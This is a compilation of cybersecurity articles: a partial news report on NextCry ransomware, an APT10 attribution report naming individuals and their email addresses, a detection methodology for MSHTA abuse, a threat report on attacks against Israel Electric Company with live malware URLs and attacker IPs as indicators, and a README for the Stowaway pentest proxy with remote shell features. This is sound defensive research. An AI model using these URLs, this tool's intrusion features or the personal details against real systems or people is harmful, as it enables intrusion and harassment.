In the analyzed sample, the ransom demanded is BTC 0.025, which converts to about $210 at the moment of writing. A bitcoin wallet is provided but no transactions have been recorded until now.
After another BleepingComputer member named shuum successfully extracted the compiled Python script, BleepingComputer could clearly see that this ransomware specifically targets NextCloud services. When executed, the ransomware will first find the victim's NextCloud file share and sync data directory by reading the service's config.php file. It will then delete some folders that could be used to restore files and then encrypts all the files in the data directory.
## More than one case spotted
Another Nexcloud user named Alex posted on the platform’s support page about being hit by NextCry ransomware. They say that access to their instance had been locked via SSH and ran the latest version of the software, suggesting that some vulnerability was exploited to get in. In a conversation with BleepingComputer, xact64 said that their Nextcloud installation runs on an old Linux computer with NGINX. This detail may provide the answer to how the attacker was able to get access.
“I have my own linux server (an old thin client I gave a second life) with nginx reverse-proxy” - xact64
On October 24, Nextcloud released an urgent alert about a remote code execution vulnerability that impacts the default Nextcloud NGINX configuration. Tracked as CVE-2019-11043, the flaw is in the PHP-FPM (FastCGI Process Manager) component, included by some hosting providers like Nextcloud in their default setup. A public exploit exists and has been leveraged to compromise servers.
Nextcloud’s recommendation for administrators is to upgrade their PHP packages and NGINX configuration file to the latest version. A representative from Nextcloud told BleepingComputer that they are currently investigating the incidents and will provide more information as it becomes available.
**Update 11/18/19:** NextCloud has told BleepingComputer that after conducting an investigation they are confident that the attacker is exploiting the PHP-FPM vulnerability that they issued an advisory on.
"We've been looking into the reports on the forum and source of the virus. We are confident that the attack vector was the nginx+php-fpm security issue that hit the web some time ago. While it was not an issue in Nextcloud itself, we informed our users through all channels we had available, including a direct notification to Nextcloud servers. This likely explains why so few servers were impacted out of the hundreds of thousands of Nextcloud servers on the web."
BleepingComputer advises users to upgrade to PHP 7.3.11 or PHP 7.2.24, depending on the development branch being used, to fix this vulnerability.
## About the Author
Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger and Softpedia. |
# Two Birds, One STONE PANDA
**Adam Kozy**
**August 30, 2018**
## Introduction
In April 2017, a previously unknown group calling itself IntrusionTruth began releasing blog posts detailing individuals believed to be associated with major Chinese intrusion campaigns. Although the group’s exact motives remain unclear, its initial tranche of information exposed individuals connected to long-running GOTHIC PANDA (APT3) operations, culminating in a connection to the Chinese firm Boyusec (博御信 息) and, ultimately, Chinese Ministry of State Security (MSS) entities in Guangzhou.
Recently, in July and August 2018, IntrusionTruth has returned with new reporting regarding actors with ties to historic STONE PANDA (APT10) activity and has ultimately associated them with the MSS Tianjin Bureau (天津市国家安全局). Though CrowdStrike® Falcon Intelligence™ is currently unable to confirm all of the details provided in these most recent posts with a high degree of confidence, several key pieces of information can be verified.
- Several of the named individuals have been active registering domains as recently as June 2018, and they responded to the IntrusionTruth blog posts by scrubbing their social media or by following IntrusionTruth’s Twitter account.
- Named individuals ZHANG Shilong and GAO Qiang have significant connections to known Chinese hacking forums, and they have sourced tools currently in use by China-based cyber adversaries.
- ZHANG has registered several sites with overlapping registrant details that show both his affiliation with several physical technology firm addresses as well as his residence in Tianjin.
- Named firm Huaying Haitai has been connected to a Chinese Ministry of Industry and Information Technology (MIIT) sponsored attack and defense competition; this is similar to GOTHIC PANDA’s ties to an active defense lab sponsored by China Information Technology Evaluation Center (CNITSEC).
- Huaying Haitai has previously hired Chinese students with Japanese language skills; this is significant, as STONE PANDA has engaged in several campaigns targeting Japanese firms.
- The MSS Tianjin Bureau is confirmed to be located at the described address, not far from many of the registrant addresses listed by ZHANG as well as the firms GAO was likely recruiting for.
More details that may further illuminate these findings and provide a higher confidence in connecting STONE PANDA to the MSS Tianjin Bureau are likely to emerge.
## Background
Throughout May 2017, using a variety of historical information and open-source intelligence (OSINT), IntrusionTruth released several blog posts identifying several individuals connected to Boyusec. Though CrowdStrike’s Threat Intelligence team had suspected GOTHIC PANDA was an MSS contractor for several years, the IntrusionTruth posts and subsequent research by RecordedFuture into MSS ties to the China Information Technology Evaluation Center (CNITSEC/中国信息安全测评中心) corroborated additional details from various sources and provided a higher degree of confidence. Confidence in these findings was further boosted when the U.S. Department of Justice named Boyusec and several of the described individuals in an indictment, and detailed GOTHIC PANDA tactics, techniques, and procedures (TTPs) in detail.
CrowdStrike Falcon Intelligence was able to independently verify the majority of this information and concluded that not only is CNITSEC associated with the MSS, but its former director WU Shizhong (吴世忠) was simultaneously dual-hatted as the director of the MSS Technology/13th Bureau (国家安全部科技局局长), implying that the MSS plays a crucial role in China’s code review of foreign products and is now able to cherry pick high-value vulnerabilities from its own capable domestic bug hunting teams. CNITSEC’s role in code review for foreign entities has led to its access to Microsoft’s source code dating back to 2003 and the use by KRYPTONITE PANDA of a high-value vulnerability (CVE-2018-0802), discovered by Chinese firm Qihoo 360, a month before it was publicly revealed.
As research into the IntrusionTruth leads on STONE PANDA continues, Falcon Intelligence has already observed some consistencies with known MSS operations.
## Sinking Like a STONE
**GAO Qiang (⾼⾼/郜郜 强强)**
Many of the personal details for GAO were scrubbed shortly after IntrusionTruth’s post introducing him went live, including his Tencent QQ account. The blog connects him to the moniker fisherxp via an initial spear-phishing campaign from 2010 previously attributed to STONE PANDA. Multiple sites with profile pictures appear to show the owner of the fisherxp accounts, though this has yet to be independently confirmed as GAO. Fisherxp’s QQ shows his alternate username as 肥猪 or “big porker.” IntrusionTruth later links GAO to several documented Uber rides to the MSS Tianjin Bureau’s office address where both his first name, Qiang/强, and 猪 are used by the app to identify him and tie him to the QQ number 420192. CrowdStrike cannot confirm the validity of these Uber receipts at this time.
However, fisherxp’s account on popular Chinese technology forum 51CTO is still active and shows that he has downloaded not only the open-source DarkComet RAT and numerous password cracking tools, but more importantly, several favorite tools used by a plethora of known Chinese cyber adversaries including Gh0st RAT 3.6, zxarps (an ARP-spoofing tool by legacy hacker LZX), and lcx.exe (a port-forwarding tool by legacy hacker LCX).
**ZHANG Shilong (张世龙)**
ZHANG was originally introduced by IntrusionTruth as a reciprocal follower of fisherxp’s Twitter account via his own @baobeilong account. Baobeilong (宝⻉⻰/”Baby Dragon”) also maintained a GitHub account that had forked both the Quasar and Trochilus RATs, two open-source tools historically used by STONE PANDA, but the account has since been scrubbed. This information was verified by CrowdStrike before being removed completely. Falcon Intelligence recently independently conducted detailed analysis of the RedLeaves malware used to target numerous Japanese defense groups and found it was directly sourced from Trochilus code, but it has undergone several evolutions and contains prefixes suggesting it could also be used to target Russia and the DPRK. There is no conclusive evidence at this time that RedLeaves is solely attributed to STONE PANDA.
Baobeilong did maintain a Flickr account with numerous pictures that proved key in identifying his location later, similar to how cpyy’s photos helped identify his affiliation to the People’s Liberation Army (PLA) in CrowdStrike’s PUTTER PANDA report.
IntrusionTruth then drew connections from baobeilong’s other online accounts to registrant details for xiaohong[.]org, which dated back to 2007 and revealed ZHANG’s full name—ZHANG Shilong. From there, a trail of overlapping registrant details reveals ZHANG’s hanzi characters for his name (张世龙), likely one of his personal home addresses, potential work addresses and several email addresses:
- long@xiaohong[.]org
- baobei@xiaohong[.]org
- atreexp@yahoo[.]com.cn
- robin4700@foxmail[.]com
- [email protected][.]com
Specifically tracing registrant details from atreexp → robin4700 → eshilong shows that ZHANG was active registering sites as recently as June 5, 2018, including a personal blog where his picture and name features prominently along with several technology-related blog posts.
## Laoying Baichen Instruments
The original blog post on GAO lists his contact information in recruitment postings for two separate companies, one of which is Laoying Baichen Instruments (characters unknown at the time of this writing). No records could be found for such a firm; however, IntrusionTruth lists the address associated with it as Room 1102, Guanfu Mansion, 46 Xinkai Road, Hedong District, Tianjin (天津市河东区新开路46号冠福大厦1102).
During the course of investigating Laoying and the Guanfu mansion, Falcon Intelligence noticed that the Guanfu Mansion is also the registered address of a firm called Tianjin Henglide Technology Co., Ltd. (恒利德天津科技有限公司), which is listed as one of only a few “review centers” certified by CNITSEC in Tianjin. Laoying and Henglide are listed as being on different floors; however, having a CNITSEC review center in the same building is noteworthy given CNITSEC’s connection to MSS and previous linkage to Boyusec/GOTHIC PANDA.
## Tianjin Huaying Haitai Science and Technology Development Company
The other firm GAO appears to have been recruiting for is Huaying Haitai (天津华盈海泰科技发展有限公司). As the IntrusionTruth blog post mentions, it is a registered firm with two listed representatives, Fang Ting (方亭) and Sun Lei (孙杰), and a listed address of 1906 Fuyu Mansion (天津市河西区解放南路中段西侧富裕大厦1-1906).
Searches for more information on Huaying Haitai turned up two interesting government documents. One is a recruitment Excel sheet detailing recent graduates, their majors and their new employers and addresses. Huaying Haitai is listed as having hired a recently graduated female student from Nankai University in 2013 who majored in Japanese. This is interesting considering STONE PANDA’s extensive targeting of Japanese defense firms after this time period, but it is by no means conclusive evidence that the firm is connected to STONE PANDA.
The second government document lists Huaying Haitai as the co-organizer of a Network Security Attack and Defense competition with the Ministry of Industry and Information Technology’s (MIIT) national training entity, NSACE. It was open for all students of Henan Province. NSACE appears to be a national education body that teaches network information security, including offensive activity. This information is particularly interesting given Boyusec’s previous work at CNITSEC’s Guangdong subsidiary setting up a joint active defense lab. It suggests that these technology firms act as both shell companies and recruitment grounds for potential MSS use in cyber operations.
## MSS Tianjin Bureau
The most recent IntrusionTruth post assesses that GAO’s Uber rides frequently took him from Huaying’s address at the Fuyu Mansion to 85 Zhujiang Road (珠江道85号).
When observed closely, the compound is a striking one complete with towers, a fenced perimeter with surveillance cameras, guarded entrances, and a building with a significant number of satellite dishes. There are no markers on the building and no government listed address; however, it is apparently difficult for locals to determine where the Tianjin Bureau’s location is as well. There are several Baidu questions asking what transportation routes are best to get to that specific address. Three separate ones specifically mention the 85 Zhujiang Road address as the headquarters for the MSS’s Tianjin Bureau and the difficulty in finding its location.
As with most cyber-enabled operations, satellite arrays are often indicative of installations with significant signals intelligence (SIGINT) capabilities. The Tianjin Bureau appears to have the potential for such capabilities, housing several large arrays that appear to have existed since at least January 2004.
## Conclusion
There are still significant intelligence gaps that prevent Falcon Intelligence from making an assessment about STONE PANDA’s potential connections to the MSS Tianjin Bureau with a high degree of confidence. However, additional information is likely to materialize either directly from IntrusionTruth or from other firms in the infosec community who are undoubtedly looking at this material as well and may have unique insight of their own. Ultimately, IntrusionTruth’s prior releases on GOTHIC PANDA proved accurate and led to a U.S. Department of Justice indictment resulting in the dismantling of Boyusec. From their latest post, which contains GAO’s Uber receipts, it is clear the group’s information likely goes beyond merely available OSINT data.
It cannot be ignored that there are striking similarities between the entities associated with GOTHIC PANDA and the actors and firms mentioned in the blogs about STONE PANDA. In addition, Falcon Intelligence notes that following the late 2015 Sino-U.S. brief cyber detente, much of the responsibility for western cyber intrusion operations was handed to the MSS as the PLA underwent an extensive reform that is still currently underway, and which is consolidating its military cyber forces under the Strategic Support Force.
Though the detente saw an initial drop in Chinese intrusion activity, it has steadily been increasing over the past several years, with a majority of the intrusions into western firms being conducted by suspected contractors. These adversaries are tracked by CrowdStrike as GOTHIC PANDA, STONE PANDA, WICKED PANDA, JUDGMENT PANDA, and KRYPTONITE PANDA. Many of these adversaries have begun targeting supply chain and upstream providers to establish a potential platform for future operations and enable the collection of larger sets of data.
While the APT1, PUTTER PANDA, and Operation CameraShy reports all exposed PLA units at a time when Chinese military hacking against western firms was rampant, the attention has now swung toward identifying MSS contractors. The exposure of STONE PANDA as an MSS contractor would be another blow to China’s current cyber operations given STONE PANDA’s prolific targeting of a variety of sectors, and may prompt an additional U.S. investigation at a tenuous time for Sino-U.S. relations during an ongoing trade war. However, it is important to note that such public revelations often force these actors to cease operations, improve their operational security (OPSEC), and then return stronger than before. As such, CrowdStrike Falcon Intelligence assesses that although Boyusec may have shuttered, elements of GOTHIC PANDA are likely to still be active. The same is likely to be true for STONE PANDA following a period of silence.
The activities of STONE PANDA impact entities in the Aerospace & Defense, Government, Healthcare, Technology, Telecommunications Services of several nations. |
# Understanding MSHTA and Detection Methodology
In a recent blog post, we introduced you to AtomicTestHarnesses, one of the ways Red Canary’s threat research team iteratively improves detection coverage. In this post, we will highlight the philosophy and methodology that goes into understanding an attack technique, defining its scope, and developing test harness code for the purpose of validating detection pipelines. This process encourages analysts to ask more specific, mindful questions in pursuit of their detection and prevention goals.
## Attack Technique Research Workflow in Action
Long before implementing code, you should have a good sense of the scope of the technique at hand, and that’s what this research process helps to uncover. Continuing the thread from our last blog post, using MSHTA as our example, we’ll want to ask ourselves, “from a detection perspective, how would we think about detecting suspicious usage of MSHTA?” That being a very broad question, we need to scope the problem to avoid going down too many research rabbit holes that may ultimately deviate from the technique at hand.
So to start scoping, we ask ourselves the following question: what exactly, at a technical level, do we define MSHTA to be?
### Step 1: Define and Scope the Technique
In order to define what MSHTA is, we start with what we implicitly know it to be and then ask leading questions from there. The easiest way to start with what we know is to look to open source intelligence and identify how attackers abuse MSHTA. For example, we know that attackers execute malicious code with MSHTA using both `mshta.exe`—the supported, built-in utility for doing so—and `rundll32.exe`, which appears to be a non-standard method of executing HTA content by calling the `RunHTMLApplication` function within `mshtml.dll`.
So is MSHTA defined by `mshta.exe` and `rundll32.exe` (and nothing else)? Well, not quite, since `rundll32.exe` is a general-purpose utility used to execute specifically crafted DLL export functions. The `rundll32.exe` execution, however, can offer a hint as to the core of what makes MSHTA… MSHTA. Some light reversing of `mshta.exe` reveals that the executable is no more than a simple wrapper for the `RunHTMLApplication` function in `mshtml.dll`.
The common component that invokes HTA functionality appears to be the `RunHTMLApplication` function. After arriving at that conclusion, we now have the required vocabulary to ask the following questions to help further refine our scope:
- Can any other built-in utilities be used to invoke `RunHTMLApplication` functionality?
- What advantage, if any, would an attacker have in building their own tool to interface with the `RunHTMLApplication` function?
### Expand the Scope Beyond In-the-Wild Usage
Can any other built-in utilities be used to invoke HTA functionality? The short answer is no. We performed a sweep of all binaries that might invoke the `RunHTMLApplication` function and found no additional binaries that would yield direct execution of HTA script code. Does that mean that no such binary exists? Of course not. But we were content with the level of due diligence applied to answer the question at the time it was posed. And if anyone discovered another signed HTA host binary that could be easily weaponized, we could very quickly improve our coverage by incorporating that variant into our existing automation of the technique.
With threat research and detection engineering, we must always remain mindful to not let perfect be the enemy of good. “Perfection” comprises an infinite number of rabbit holes for which there is no fixed destination.
### Finalize the Initial Scope
From an evasion perspective, we pondered what advantage an attacker would have in building their own tool to interface with the `RunHTMLApplication` function. As trivial as it would be for an attacker to implement their own code to invoke malicious HTA content, we were unclear on what it would buy them if they already have the means to execute arbitrary code. In other words, what additional evasion opportunities would it buy an adversary? We couldn’t come up with a compelling evasion justification.
Now, because we arrived at this conclusion, does that mean that we should not care about attackers directly interfacing with the `RunHTMLApplication` function? Absolutely not. In fact, were an attacker to do such a thing, we might be able to detect such behavior as an anomaly. Ultimately though, as Jeffrey Snover eloquently puts it, “to ship is to choose.” To decide on what HTA functionality to automate, we needed to define the scope of what would be implemented. After considering our questions and subsequent investigations, we decided to focus automation of HTA script code around only `mshta.exe` and `rundll32.exe`. We are confident in this decision; it buys us a ton of coverage, and we can easily extend our automation to support new variations should they become operationally viable.
### Step 2: Identify Technique Variations
With the scope defined, now what? This is where the fun begins! Now that we’ve narrowed our scope down to automating HTA script execution via `mshta.exe` and `rundll32.exe`, we can now ask more targeted questions. Specifically, what inputs does an attacker have control over to influence execution and potentially evade naive detections?
Through the course of our efforts, we honed in on the following attributes that an attacker had direct control over:
1. The HTA filename can be any name and any file extension that isn’t associated with the “text/plain” MIME type (e.g., an extension of .txt will result in displaying but not executing HTA script content).
2. A URI can be specified from where HTA content is first downloaded. It turns out that a URI in Windows terminology is an instance of a protocol handler, a piece of code that is responsible for parsing and interpreting strings that begin with the following format: “handler_name:” (e.g., “https:”, “javascript:”, “about:”, etc.).
3. Different script engines can be supplied in HTA content. We needed to determine what script engines were available and which ones facilitated the execution of arbitrary code. This script engine dictates a specific DLL image load that would occur (e.g., `vbscript.dll`, `jscript9.dll`, `jscript.dll`, etc.).
4. Protocol handlers (e.g., “vbscript”, “javascript”, “about”) can be specified to influence how inline HTA content can be executed, i.e., without needing to drop HTA content to disk. We needed to enumerate the available protocol handlers and then identify which ones led to direct code execution.
5. HTA content can be embedded and executed from within other file formats. Learning of this is also what led to our discovery of CVE-2020-1599.
6. HTA content can be executed remotely via UNC paths.
7. HTA exposes a COM interface that is remotely accessible, making HTA execution a viable option for lateral movement.
8. .hta files have a default file handler, meaning that they can be executed by double-clicking on them or invoking them with “explorer.exe foo.hta”.
9. An attacker has full control over the path and filename of `mshta.exe` and `rundll32.exe`.
Every single one of the variations in which an attacker realistically has control over inputs to influence HTA script execution with `mshta.exe` and `rundll32.exe` ought to be automated in a way that is sufficiently abstracted to allow non-subject matter experts control over those points of influence. And this is exactly what we implemented in the HTA test harness in AtomicTestHarnesses, `Invoke-ATHHTMLApplication`.
Taking stock in what aspects of a technique an attacker has control over, you may get a better sense of two things:
1. Potentially naive detection logic that an attacker could easily evade.
2. The variables that an attacker has less or no control over.
In an ideal scenario, the most robust detection logic accounts for everything an attacker has little or no control over. Without performing this level of due diligence with technique research, it can be very difficult to comprehend or quantify how a robust detection would take shape. A robust detection has an arbitrarily longer shelf life than one that does not take attacker-controlled inputs into account.
### Step 3: Identify Technique “Choke Points”
Now that we have a clearer sense of the set of inputs an attacker has to make use of an attack technique, let’s talk about outputs. What is the set of outputs that a technique might generate that we can potentially use to build detections from? This is another one of those questions that is overly broad and requires a little bit of deliberate scoping. A more specific question that we might consider first is, what conditions must be satisfied in order to successfully make use of an attack technique? In the case of MSHTA, within our established scope of `mshta.exe` and `rundll32.exe`, the following conditions must be met:
1. `mshta.exe` or `rundll32.exe` must execute.
2. Command-line arguments are supplied to `mshta.exe` or `rundll32.exe`.
3. `mshtml.dll` must load as a first step in order to execute script content.
4. One of the DLLs associated with script execution will load depending upon the script engine specified in the HTA. This will be either `vbscript.dll` or `jscript.dll` based on our investigation.
Having a clearer sense of the components required enables us to more narrowly focus potential detection logic and to have a better idea of what, if any, options are available to prevent this technique from being abused. After all, if any link of this chain can be severed, the technique fails. We refer to these “minimum viable” components as attack technique “choke points.”
From a detection perspective, now that we know the necessary components, we can start to identify some potential data needs:
1. We’ll need process creation optics that ideally include optics related to the aspects of the technique that an attacker has control over, which include—but are not limited to—the following:
- Executable filename: So that we can identify when `mshta.exe` or `rundll32.exe` run and whether or not the adversary attempts to rename the file.
- Executable path: So that we can identify if `mshta.exe` or `rundll32.exe` are executing from an expected directory or copied to a location in an attempt to evade naive detection logic.
- Process command line: Because we scoped our research to `mshta.exe` and `rundll32.exe` execution, command-line optics are crucial since an attacker must supply their malicious HTA script code via the command line. Are there methods of evading command-line logging? Yes, but that is a separate attack technique that would warrant its own dedicated research and detection initiative. Remember that we must not fall into too many rabbit holes.
2. It could be useful to have insight into processes that load `mshtml.dll`. While the loading of `mshtml.dll` is implied in our current scope of `mshta.exe` and `rundll32.exe` (in the case of `RunHTMLApplication` being executed), this insight would facilitate future threat hunting. For example, how do we know that attackers will only ever use or abuse `mshta.exe` or `rundll32.exe`?
3. Having insight into processes that load related scripting engine components could be useful down the line, but currently would only be used to differentiate VBScript versus JScript execution. However, knowing that these DLLs load does point to the ability of WSH script components to log script content via the AMSI interface.
From a prevention perspective, we have an initial idea of what components could possibly be blocked. For example, would it be possible to block the execution of `mshta.exe` or `rundll32.exe` within a specific organization? Aside from outright blocking executables though, we must consider other preventative mechanisms. Through reverse engineering the `RunHTMLApplication` function in `mshtml.dll`, we discovered that if Windows Defender Application Control (WDAC) is in enforcement mode, HTA execution is outright banned. This means that even if an attacker discovered another executable that invoked HTA functionality, or if they interfaced with the `RunHTMLApplication` itself, by default, HTA execution would be blocked. That, in our book, is a very robust mitigation.
## Conclusion
In summary, this research methodology offers the following outcomes:
- The research process focuses as much on the constant refinement of scope as it does gaining further understanding of the technique at hand.
- Enumeration of attack technique variations serves to offer clear insight into the aspects of a technique that an attacker has direct control over and, conversely, what they have little-to-no control over. In an ideal scenario, a detection engineer has the opportunity to build the most robust detection (i.e., resilient against evasion) using logic that depends as little as possible on aspects of a technique that an attacker has control over.
- Tactical identification of attack technique “choke points” determines the minimum set of technical components required where, if any one of those links in the chain breaks, weaponization of the technique fails.
- Knowledge of attack technique choke points further refines the scope of research, which further refines scope for detection and prevention.
While we used MSHTA as an illustrative example, this research process can be applied equally to any attack technique. Effective research is built on a foundation of asking specific, deliberate questions in an attempt to reduce a broad objective into something more achievable, measurable, and resilient against evasion. |
# Operation Electric Powder – Who is targeting Israel Electric Company?
Attackers have been trying to breach IEC (Israel Electric Company) in a year-long campaign. From April 2016 until at least February 2017, attackers have been spreading malware via fake Facebook profiles and pages, breached websites, self-hosted and cloud-based websites. Various artifacts indicate that the main target of this campaign is IEC – Israel Electric Company. These include domains, file names, Java package names, and Facebook activity. We dubbed this campaign “Operation Electric Powder.”
Israel Electric Company (also known as Israel Electric Corporation) is the largest supplier of electrical power in Israel. The IEC builds, maintains, and operates power generation stations, substations, as well as transmission and distribution networks. The company is the sole integrated electric utility in the State of Israel. Its installed generating capacity represents about 75% of the total electricity production capacity in the country.
It is notable that the operational level and the technological sophistication of the attackers are not high. Also, they are having a hard time preparing decoy documents and websites in Hebrew and English. Therefore, in most cases, a vigilant target should be able to notice the attack and avoid infection. We do not have indication that the attacks succeeded in infecting IEC-related computers or stealing information.
Currently, we do not know who is behind Operation Electric Powder or what its objectives are. See further discussion in the Attribution section.
## Impersonating Israeli news site
The attackers registered and used in multiple attacks the domain ynetnewes.com (note the extra e). This domain impersonates ynetnews.com, the English version of ynet.co.il – one of Israel’s most popular news sites. Certain pages within the domain would load the legitimate Ynet website. Others, which are opened as decoy during malware infection, had copied content from a different news site. The URL ynetnewes.com/video/Newfilm.html contained an article about Brad Pitt and Marion Cotillard copied from another site. At the bottom was a link saying “Here For Watch It!” The link pointed to goo.gl/zxhJxu (Google’s URL shortening service). According to the statistics page, it had been created on September 25, 2016, and had been clicked only 11 times. When clicked, it would redirect to iecr.co/info/index_info.php. We do not know what was the content in the final URL. We estimate that it served malware. The domain iecr.co was used as a command and control server for other malware in this campaign.
Another URL, http://ynetnewes.com/resources/assets/downloads/svchost.exe hosted a malware file called program_stream_film_for_watch.exe.
## Fake Facebook profile – Linda Santos
One of the above-mentioned malicious URLs was spread via comments by a fake Facebook profile – Linda Santos (no longer available). In September 2016, the fake profile commented on posts by Israel Electric Company. The profile had dozens of friends, almost all were IEC employees. The fake profile was following only three pages, one of which was the IEC official page.
## Pokemon Go Facebook page
In July 2016, when the mobile game “Pokemon Go” was at the peak of its popularity, the attackers created a Facebook page impersonating the official Pokemon Go page. The page, which is no longer available, had about one hundred followers – most were Arab Israelis and some were Jewish Israelis. Only one post was published, with text in English and Hebrew. Grammatical mistakes indicate the attackers are not native to both languages. The post linked to a malicious website hosted in yolasite.com: pokemonisrael.yolasite.com. The button – “בשחמו ןופלט הדרוהל” (literal translation – “To download phone and computer”) linked to a zip file in another website: http://iec-co-il.com/iec/electricity/Pokemon-PC.zip. Note that the domain being impersonated is that of Israel Electric Company’s website (iec.co.il).
Pokemon-PC.zip contained Pokemon-PC.exe, which at runtime drops monitar.exe.
## Android phone malware
The attackers also distributed a malicious app for Android devices – pokemon.apk. This malware also had characteristics that impersonate IEC, such as the package name. The application is a dropper that extracts and installs spyware. The dropper does not ask for any permission during installation. However, when the spyware is installed, it asks for multiple sensitive permissions. The victim ends up with two applications installed on their device. The dropper, pretending to be a Pokemon Go app, adds an icon to the phone dashboard. However, it does not have any functionality, and when clicked, this error message is displayed:
**Error 505**
Sorry, this version is not compatible with your android version.
The dropper does not really check what android version is installed. The message is intended to make the victim believe that the Pokemon game does not work because of compatibility issues. The victim is likely to uninstall the application at this point. However, because a second application was installed, the phone would stay infected unless it is uninstalled as well.
## Websites for Malware distribution
Malware was also hosted in legitimate breached Israeli websites, such as this educational website: http://www.bagrut3.org.il/upload/edu_shlishit/passwordlist.exe and a small law firm’s website: http://sheinin.co.il/MyPhoto.zip. In journey-in-israel.com, the attackers inserted an exploit code for CVE-2014-6332 – a Windows code execution vulnerability. The exploit was copied from an online source, likely from here, as the code included the same comments. The website also hosted this malware.
In other cases, the attackers registered and built malicious websites: users-management.com and sourcefarge.net (similar to legitimate software website sourceforge.net). The latter was redirecting to journey-in-israel.com and iec-co-il.com in May and July 2016, according to PassiveTotal.
Sample 24befa319fd96dea587f82eb945f5d2a, potentially only a test file, is a self-extracting archive (SFX) that contains two files: a legitimate Putty installation and link.html. When run, while Putty is installed, the HTML file is opened in a browser and redirects to http://tinyurl.com/jerhz2a and then to http://users-management.com/info/index_info.php?id=9775. The last page 302 redirects to the website of an Israeli office supply company Mafil.
Sample f6d5b8d58079c5a008f7629bdd77ba7f, also a self-extracting archive, contained a decoy PDF document and a backdoor. The PDF, named IEC.pdf, is a warranty document taken from Mafil’s public website. It is displayed to the victim while the malware is infecting its computer.
## Windows Malware
The attackers developed three malware types for Windows-based computers:
- **Dropper** – self-extracting archives that extract and run the backdoor, sometimes while opening a decoy PDF document or website.
- **Trojan backdoor / downloader** – malware that collects information about the system and can download and execute other files. Some samples had two hardcoded command and control servers: iecrs.co and iecr.co (note once again the use of IEC in the domain name).
- **Keylogger / screen grabber** – records keystrokes and takes screenshots. The malware file is compiled Python code.
An analysis of the malware and other parts of the campaign was published by McAfee on November 11, 2016. The latest known sample in this campaign has a compilation timestamp of February 12, 2017. It is dropped when “pdf file products israel electric.exe” is executed.
## Attribution
In a report that covers other parts of the campaign, McAfee attributes it to Gaza Cybergang (AKA Gaza Hacker Team AKA Molerats). However, the report does not present strong evidence to support this conclusion. While initially we thought the same, currently we cannot relate Operation Electric Powder to any known group. Moreover, besides Mohamad potentially being the name of the malware developer (based on PDB string found in multiple samples), we do not have evidence that the attackers are Arabs.
## Indicators of compromise
- Indicators file: Operation-Electric-Powder-indicators.csv (also available on PassiveTotal).
- Notably, all but one of the IP addresses in use by the attackers belong to German IT services provider “Accelerated IT Services GmbH” (AS31400):
- 84.200.32.211
- 84.200.2.76
- 84.200.17.123
- 84.200.68.97
- 82.211.30.212
- 82.211.30.186
- 82.211.30.192
Florian Roth shared a Yara rule to detect the downloader: Operation-Electric-Powder-yara.txt.
Acknowledgments
This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research. |
# Stowaway
Stowaway是一个利用Go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。
**特性**
- 管理端更加友好的交互,支持命令补全/历史
- 一目了然的节点树管理
- 丰富的节点信息展示
- 节点间正向/反向连接
- 节点间支持重连
- 节点间可通过socks5代理进行连接
- 节点间可通过ssh隧道连接
- 节点间流量可选择TCP/HTTP
- 多级socks5流量代理转发,支持UDP/TCP, IPV4/IPV6
- 节点支持ssh访问远程主机
- 远程shell
- 上传及下载文件
- 端口本地/远程映射
- 节点可端口复用
- 自由开关各类服务
- 节点间相互认证
- 节点间流量以AES-256-GCM进行加密
- 相较于v1.0,文件体积减小25%
- 支持各类平台 (Linux/Mac/Windows/MIPS/ARM)
**下载及演示**
不想编译的用户可以直接用release下编译完成的程序。
**使用方法**
**角色**
Stowaway一共包含两种角色,分别是:
- admin:渗透测试者使用的主控端
- agent:渗透测试者部署的被控端
**名词定义**
- 节点:指admin或agent
- 主动模式:指当前操作的节点主动连接另一个节点
- 被动模式:指当前操作的节点监听某个端口,等待另一个节点连接
- 上游:指当前操作的节点与其父节点之间的流量
- 下游:指当前操作的节点与其所有子节点之间的流量
**参数解析**
**admin**
- `-l` 被动模式下的监听地址[ip]:<port>
- `-s` 节点通信加密密钥,所有节点(admin和agent)必须一致
- `-c` 主动模式下的目标节点地址
- `--proxy` socks5代理服务器地址
- `--proxyu` socks5代理服务器用户名(可选)
- `--proxyp` socks5代理服务器密码(可选)
- `--down` 下游协议类型,默认为裸TCP流量,可选HTTP
**agent**
- `-l` 被动模式下的监听地址[ip]:<port>
- `-s` 节点通信加密密钥
- `-c` 主动模式下的目标节点地址
- `--proxy` socks5代理服务器地址
- `--proxyu` socks5代理服务器用户名(可选)
- `--proxyp` socks5代理服务器密码(可选)
- `--reconnect` 重连时间间隔
- `--rehost` 端口复用时复用的IP地址
- `--report` 端口复用时复用的端口号
- `--up` 上游协议类型,默认为裸TCP流量,可选HTTP
- `--down` 下游协议类型,默认为裸TCP流量,可选HTTP
- `--cs` 运行平台的shell编码类型,默认为utf-8,可选gbk
**端口复用机制**
当前Stowaway提供基于SO_REUSEPORT和SO_REUSEADDR特性的端口复用功能及基于IPTABLES的端口复用功能。
**如何组成多级网络?**
在Stowaway中,组成多级网络需要借助admin中的listen、connect、sshtunnel命令来实现。
**如何重连?**
Stowaway当前支持多种方式的重连,简单概括如下:当父节点掉线后,只有一种节点会主动退出,那就是启动时为主动模式且没有设置重连的节点。
**命令解析**
在admin控制台中,用户可以用tab来补全命令,方向键上下左右来查找历史/移动光标。
**TODO**
- 修复bug
- 支持TLS
- 支持多startnode的形式
**注意事项**
- 此程序仅是闲暇时开发学习,结构及代码结构不够严谨,功能可能存在bug,请多多谅解。
- admin不在线时,新节点将不允许加入。
- admin仅支持一个直接连接的agent节点,agent节点则无此限制。
- 如果用户使用Windows下的admin端,请先下载ansicon,或在这里下载,之后进入对应系统位数的文件夹,执行ansicon.exe -i即可,不然admin端会出现乱码的问题。
- 本程序仅支持标准的基于RFC1928所阐述的UDP ASSOCIATE,请在使用socks5 udp代理时注意您所使用的程序,包构造方式必须遵守标准的RFC1928,并且需要自行处理丢包状况。 |
# ReZer0v4 Loader
This article was published on the 26th of August 2020 and updated on the 8th of December 2021.
